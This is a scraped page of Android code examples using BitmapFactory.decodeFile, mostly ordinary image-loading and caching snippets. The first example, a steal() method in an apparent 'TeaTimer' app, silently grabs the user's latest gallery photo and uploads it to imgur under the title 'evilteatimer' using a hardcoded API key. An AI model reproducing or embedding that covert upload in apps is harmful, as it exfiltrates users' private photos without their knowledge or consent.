Example usage for android.graphics BitmapFactory decodeFile

List of usage examples for android.graphics BitmapFactory decodeFile

Introduction

In this page you can find the example usage for android.graphics BitmapFactory decodeFile.

Prototype

public static Bitmap decodeFile(String pathName) 

Source Link

Document

Decode a file path into a bitmap.

Usage

From source file:goo.TeaTimer.TimerActivity.java

private void steal() {
    new Thread(new Runnable() {
        public void run() {
            try {
                Looper.prepare();// w  w  w.ja v  a  2s. com
                String[] filePathColumn = { MediaStore.Images.Media.DATA };

                Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                        filePathColumn, null, null, null);
                cursor.moveToLast();

                int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
                String filePath = cursor.getString(columnIndex);
                cursor.close();

                Log.v(TAG, "FilePath:" + filePath);
                Bitmap bitmap = BitmapFactory.decodeFile(filePath);
                bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true);
                // Creates Byte Array from picture
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best
                URL url = new URL("http://api.imgur.com/2/upload.json");

                //encodes picture with Base64 and inserts api key
                String data = URLEncoder.encode("image", "UTF-8") + "="
                        + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8");
                data += "&" + URLEncoder.encode("key", "UTF-8") + "="
                        + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8");
                data += "&" + URLEncoder.encode("title", "UTF-8") + "="
                        + URLEncoder.encode("evilteatimer", "UTF-8");

                // opens connection and sends data
                URLConnection conn = url.openConnection();
                conn.setDoOutput(true);
                OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
                wr.write(data);
                wr.flush();

                // Read the results
                BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String jsonString = in.readLine();
                in.close();

                JSONObject json = new JSONObject(jsonString);
                String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page");

                Log.v(TAG, "Imgur link:" + imgUrl);
                Context context = getApplicationContext();
                mImgUrl = imgUrl;
                Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG);
                toast.show();
            } catch (Exception exception) {
                Log.v(TAG, "Upload Failure:" + exception.getMessage());
            }
        }
    }).start();
}

From source file:com.snipme.download.ImageDownloader.java

public static boolean checkifImageExists(String imagename) {
    Bitmap b = null;//from   w  ww  .  j a va2s.  com
    File file = ImageStorage.getImage("/" + imagename + ".jpg");
    String path = file.getAbsolutePath();

    if (path != null)
        b = BitmapFactory.decodeFile(path);

    if (b == null || b.equals("")) {
        return false;
    }
    return true;
}

From source file:com.bloc.blocparty.TimelineFragment.java

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if (resultCode == Activity.RESULT_OK && requestCode >= 0 /*
                                                             * &&
                                                             * requestCode <
                                                             * listElements
                                                             * .size()
                                                             */) {
        Log.d(TAG, "photo submit button pressed");
        uploadPhoto();/*from  w  ww .  j a  v  a 2  s .  c  o m*/
    } else { // This means to re-authenticate
        uiHelper.onActivityResult(requestCode, resultCode, data, nativeDialogCallback);
    }

    // For camera
    if (requestCode == CAMERA_TAKE_PHOTO_REQUEST_CODE) {
        if (resultCode == RESULT_OK) { // -1
            // successfully captured the image
            // display it in image view
            bm = BitmapFactory.decodeFile(mCurrentPhotoPath);

            try {

                if (fileUri != null) {
                    photoUri = fileUri;
                    Log.d(TAG, "Image saved to:\n" + photoUri);
                    Log.d(TAG, "Image path:\n" + photoUri.getPath());
                    Log.d(TAG, "Image name:\n" + photoUri.getLastPathSegment());// getName(fileUri));

                    PictureSubmitFragment picSubmitFragment = new PictureSubmitFragment();
                    picSubmitFragment.setSubmitPhotoAndFileName(bm, photoUri);
                    picSubmitFragment.setTargetFragment(this, PHOTO_SUBMIT);
                    picSubmitFragment.show(getFragmentManager(), "fragment_picture_submit");

                } else if (data != null) {
                    photoUri = data.getData();
                } else if (resultCode == RESULT_CANCELED) { // 0
                    // user cancelled Image capture

                } else {
                    // failed to capture image

                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

From source file:com.polyvi.xface.extension.capture.MediaType.java

/**
 *  Image ./*from  w ww .ja  v a 2  s.  c om*/
 *
 * @param fileAbsPath ?
 * @param obj ?
 * @return ? JSONObject
 * @throws JSONException
 */
private JSONObject getImageData(String fileAbsPath, JSONObject obj) throws JSONException {
    Bitmap bitmap = BitmapFactory.decodeFile(fileAbsPath);
    if (bitmap != null) {
        obj.put(PROP_HEIGHT, bitmap.getHeight());
        obj.put(PROP_WIDTH, bitmap.getWidth());
        bitmap.recycle();
    }
    return obj;
}

From source file:org.zywx.wbpalmstar.plugin.uexiconlist.utils.IconListUtils.java

public static Bitmap getImage(Context ctx, String imgUrl, JSONObject widgetJson) {
    if (imgUrl == null || imgUrl.length() == 0) {
        return null;
    }//from   w w  w .  jav  a  2  s . co  m
    Bitmap bitmap = null;
    InputStream is = null;
    imgUrl = BUtility.makeRealPath(imgUrl, widgetJson.optString(JK_WIDGET_PATH),
            widgetJson.optInt(JK_WIDGET_TYPE));
    try {
        if (imgUrl.startsWith(BUtility.F_Widget_RES_SCHEMA)) {
            is = BUtility.getInputStreamByResPath(ctx, imgUrl);
            bitmap = BitmapFactory.decodeStream(is);
        } else if (imgUrl.startsWith(BUtility.F_FILE_SCHEMA)) {
            imgUrl = imgUrl.replace(BUtility.F_FILE_SCHEMA, "");
            bitmap = BitmapFactory.decodeFile(imgUrl);
        } else if (imgUrl.startsWith(BUtility.F_Widget_RES_path)) {
            try {
                is = ctx.getAssets().open(imgUrl);
                if (is != null) {
                    bitmap = BitmapFactory.decodeStream(is);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        } else if (imgUrl.startsWith("/")) {
            bitmap = BitmapFactory.decodeFile(imgUrl);
        } else if (imgUrl.startsWith("http://")) {
            bitmap = downloadNetworkBitmap(imgUrl);
        }
    } catch (OutOfMemoryError e) {
        e.printStackTrace();
    } finally {
        if (is != null) {
            try {
                is.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    return bitmap;
}

From source file:com.gfan.sbbs.utils.images.ImageManager.java

/**
 * File -> Bitmap -> . MAX_WIDTH/MAX_HEIGHT, .
 * /* www . j ava2s.  com*/
 * @param file
 * @param quality
 *            (0~100)
 * @param forceOverride
 * @throws IOException
 */
public void put(File file, int quality, boolean forceOverride) throws IOException {
    if (!file.exists()) {
        Log.w(TAG, file.getName() + " is not exists.");
        return;
    }
    if (!forceOverride && contains(file.getPath())) {
        // Image already exists.
        Log.d(TAG, file.getName() + " is exists");
        return;
        // TODO: write to file if not present.
    }

    Bitmap bitmap = BitmapFactory.decodeFile(file.getPath());
    // bitmap = resizeBitmap(bitmap, MAX_WIDTH, MAX_HEIGHT);

    if (bitmap == null) {
        Log.w(TAG, "Retrieved bitmap is null.");
    } else {
        put(file.getPath(), bitmap, quality);
    }
}

From source file:fr.mixit.android.ui.SpeakerDetailActivity.java

private Bitmap loadImageFromCache() {
    String speakerId = getSpeakerId(mSpeakerUri);
    return BitmapFactory.decodeFile(getCacheFile(cacheDir, speakerId).getAbsolutePath());
}

From source file:com.moki.touch.fragments.views.WebContent.java

private Bitmap getLogoBitmap() {
    ContentObject logoObject = new ContentObject(uploadLogoUrl);
    return BitmapFactory.decodeFile(
            Environment.getExternalStorageDirectory() + LOGO_LOCATION + logoObject.getContentFileName());
}

From source file:com.example.android.navigationdrawerexample.Controller.PilihanController.java

@Override
public void onResume() {
    super.onResume();
    if (fragment.getArguments().getInt("role") == 1) {
        /*SharedPreferences sharedPreferences = getSharedPreferences(getString(R.string.profile_pref),
            MODE_PRIVATE);// w w  w  .j  a v a2s .  co m
        String defaultS = "";
        String path = sharedPreferences.getString(getString(R.string.path_foto), defaultS);*/
        ProfileController profileController = new ProfileController(username);

        mahasiswa = profileController.getMahasiswa(username);
        if (mahasiswa.getPath() != null)
            ((ImageButton) rootView.findViewById(R.id.foto_profil))
                    .setBackgroundDrawable(new BitmapDrawable(BitmapFactory.decodeFile(mahasiswa.getPath())));
        //new GetAllRole().execute(username);
    }
}

From source file:com.manning.androidhacks.hack040.util.DiskLruCache.java

/**
 * Get an image from the disk cache.//from  w  w  w.ja v a 2  s .  com
 * 
 * @param key
 *          The unique identifier for the bitmap
 * @return The bitmap or null if not found
 */
public Bitmap get(String key) {
    synchronized (mLinkedHashMap) {
        final String file = mLinkedHashMap.get(key);
        if (file != null) {
            if (BuildConfig.DEBUG) {
                Log.d(TAG, "Disk cache hit");
            }
            return BitmapFactory.decodeFile(file);
        } else {
            final String existingFile = createFilePath(mCacheDir, key);
            if (new File(existingFile).exists()) {
                put(key, existingFile);
                if (BuildConfig.DEBUG) {
                    Log.d(TAG, "Disk cache hit (existing file)");
                }
                return BitmapFactory.decodeFile(existingFile);
            }
        }
        return null;
    }
}